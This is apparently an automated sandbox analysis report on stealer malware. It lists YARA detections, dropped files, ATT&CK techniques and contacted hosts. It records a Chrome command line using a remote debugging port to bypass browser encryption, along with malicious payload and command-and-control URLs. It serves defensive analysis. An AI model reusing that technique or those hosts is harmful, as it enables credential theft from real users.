Source: dc933f0ab5.exe	Binary or memory string: WIN_XPe
Source: dc933f0ab5.exe	Binary or memory string: WIN_VISTA
Source: dc933f0ab5.exe	Binary or memory string: WIN_7
Source: dc933f0ab5.exe	Binary or memory string: WIN_8

Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW

Source: Yara match	File source: 0000000E.00000003.2635825594.00000000012F8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2733630600.0000000001302000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2664289942.00000000012F8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2737884939.0000000001302000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2671611085.00000000012FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2670909986.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2635973721.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2730040603.00000000012FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2731692250.0000000001302000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2636125036.0000000001309000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2741369603.0000000001302000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2745089723.0000000001306000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2730714107.0000000001301000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2736342039.0000000001302000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2739746327.0000000001302000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2740498502.0000000001302000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2728512835.00000000012F8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2732924987.0000000001302000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2702561974.00000000012FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2699868123.00000000012F8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2bfd73b1c9.exe PID: 6472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2bfd73b1c9.exe PID: 5768, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match	File source: 0000000B.00000003.2575809178.0000000001703000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dc933f0ab5.exe PID: 7756, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 2bfd73b1c9.exe PID: 6472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2bfd73b1c9.exe PID: 5768, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000A.00000003.2537752002.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2926513601.0000000000931000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2703472620.0000000005320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0a29ef6c7c.exe PID: 7564, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_00751204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		11_2_00751204
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_00751806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		11_2_00751806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	421 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	2 Valid Accounts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	3 Obfuscated Files or Information	Security Account Manager	14 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	12 Software Packing	NTDS	249 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	2 Valid Accounts	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	21 Access Token Manipulation	2 Bypass User Account Control	Cached Domain Credentials	991 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	12 Process Injection	1 Extra Window Memory Injection	DCSync	471 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	1 Scheduled Task/Job	11 Masquerading	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	11 Registry Run Keys / Startup Folder	2 Valid Accounts	/etc/passwd and /etc/shadow	11 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	471 Virtualization/Sandbox Evasion	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	21 Access Token Manipulation	Input Capture	1 Remote System Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	12 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	48%	Virustotal		Browse
file.exe	55%	ReversingLabs	Win32.Trojan.LummaStealer
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	38%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	42%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	24%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	38%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	38%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	42%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	24%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	38%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	55%	ReversingLabs	Win32.Trojan.LummaStealer

Source	Detection	Scanner	Label
http://185.215.113.206EBF	0%	Avira URL Cloud	safe
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	0%	Avira URL Cloud	safe
https://monitor.firefox.comwidget.use-xdg-desktop-portalhttps://screenshots.firefox.comhttps://truec	0%	Avira URL Cloud	safe
https://support.mozilla.orgmedia.autoplay.blocking_policyshowBadgeOnlyNotificationmaybeShowOnboardin	0%	Avira URL Cloud	safe
http://185.215.113.16/off/def.exemk6	100%	Avira URL Cloud	phishing
https://youtube.comwebIsolated=https://youtube.combound	0%	Avira URL Cloud	safe
https://profiler.firefox.comFound	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpser	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exe8	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
s-part-0016.t-0009.t-msedge.net	13.107.246.44	true	false	high
home.fvtekk5pn.top	34.116.198.130	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
services.addons.mozilla.org	151.101.193.91	true	false	high
fvtekk5pn.top	34.116.198.130	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	high
ipv4only.arpa	192.0.0.170	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
www.google.com	142.250.186.68	true	false	high
normandy-cdn.services.mozilla.com	35.201.103.21	true	false	high
star-mini.c10r.facebook.com	157.240.251.35	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
twitter.com	104.244.42.129	true	false	high
cook-rain.sbs	188.114.97.3	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
dyna.wikimedia.org	185.15.59.224	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
youtube.com	142.250.185.78	true	false	high
youtube-ui.l.google.com	172.217.23.110	true	false	high
reddit.map.fastly.net	151.101.193.140	true	false	high
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
www.reddit.com	unknown	unknown	false	high
spocs.getpocket.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
support.mozilla.org	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
www.youtube.com	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
normandy.cdn.mozilla.net	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high
www.wikipedia.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	false		high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	true	Avira URL Cloud: safe	unknown
p10tgrace.sbs	false		high
p3ar11fter.sbs	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://monitor.firefox.comwidget.use-xdg-desktop-portalhttps://screenshots.firefox.comhttps://truec	firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	false		high
http://anglebug.com/4633	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2816945713.0000017A4C6D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2790727724.0000022EC7D72000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206EBF	0a29ef6c7c.exe, 0000000A.00000002.2926513601.0000000000A04000.00000040.00000001.01000000.0000000B.sdmp	false	Avira URL Cloud: safe	unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 0000001C.00000002.2816945713.0000017A4C603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A5E4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exemk6	2bfd73b1c9.exe, 0000000E.00000003.2915258680.00000000012F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2898588001.0000017A5C98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2906828754.0000017A5CC11000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService	firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.yahoo.co.jp/compose/?To=%shttps://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/	firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	false		high
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	false		high
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 0000001C.00000002.2843855069.0000017A5862C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001C.00000002.2844834313.0000017A58726000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2657423227.0000017A5C05D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://profiler.firefox.com/	firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.orgmedia.autoplay.blocking_policyshowBadgeOnlyNotificationmaybeShowOnboardin	firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/6929	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001C.00000003.2659780276.0000017A5C07B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2887379182.0000017A5C6B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2654860678.0000017A5C020000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2654040182.0000017A5BE00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2656351386.0000017A5C03E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2657423227.0000017A5C05D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1238180use	firefox.exe, 0000001C.00000002.2844834313.0000017A587AB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 0000001C.00000002.2904549578.0000017A5CB70000.00000002.08000000.00040000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	false		high
https://anglebug.com/7246	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 0000001C.00000002.2843855069.0000017A5862C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2914704887.000035F800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	false		high
http://exslt.org/common	firefox.exe, 0000001C.00000002.2831568612.0000017A57D26000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 0000001C.00000002.2904549578.0000017A5CB70000.00000002.08000000.00040000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	false		high
http://exslt.org/dates-and-times	firefox.exe, 0000001C.00000002.2831568612.0000017A57D61000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	2bfd73b1c9.exe, 00000008.00000003.2554341229.00000000053EC000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 00000008.00000003.2553902621.00000000053EC000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2728512835.00000000012F4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2831568612.0000017A57DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2790727724.0000022EC7DCA000.00000004.00000800.00020000.00000000.sdmp	false		high
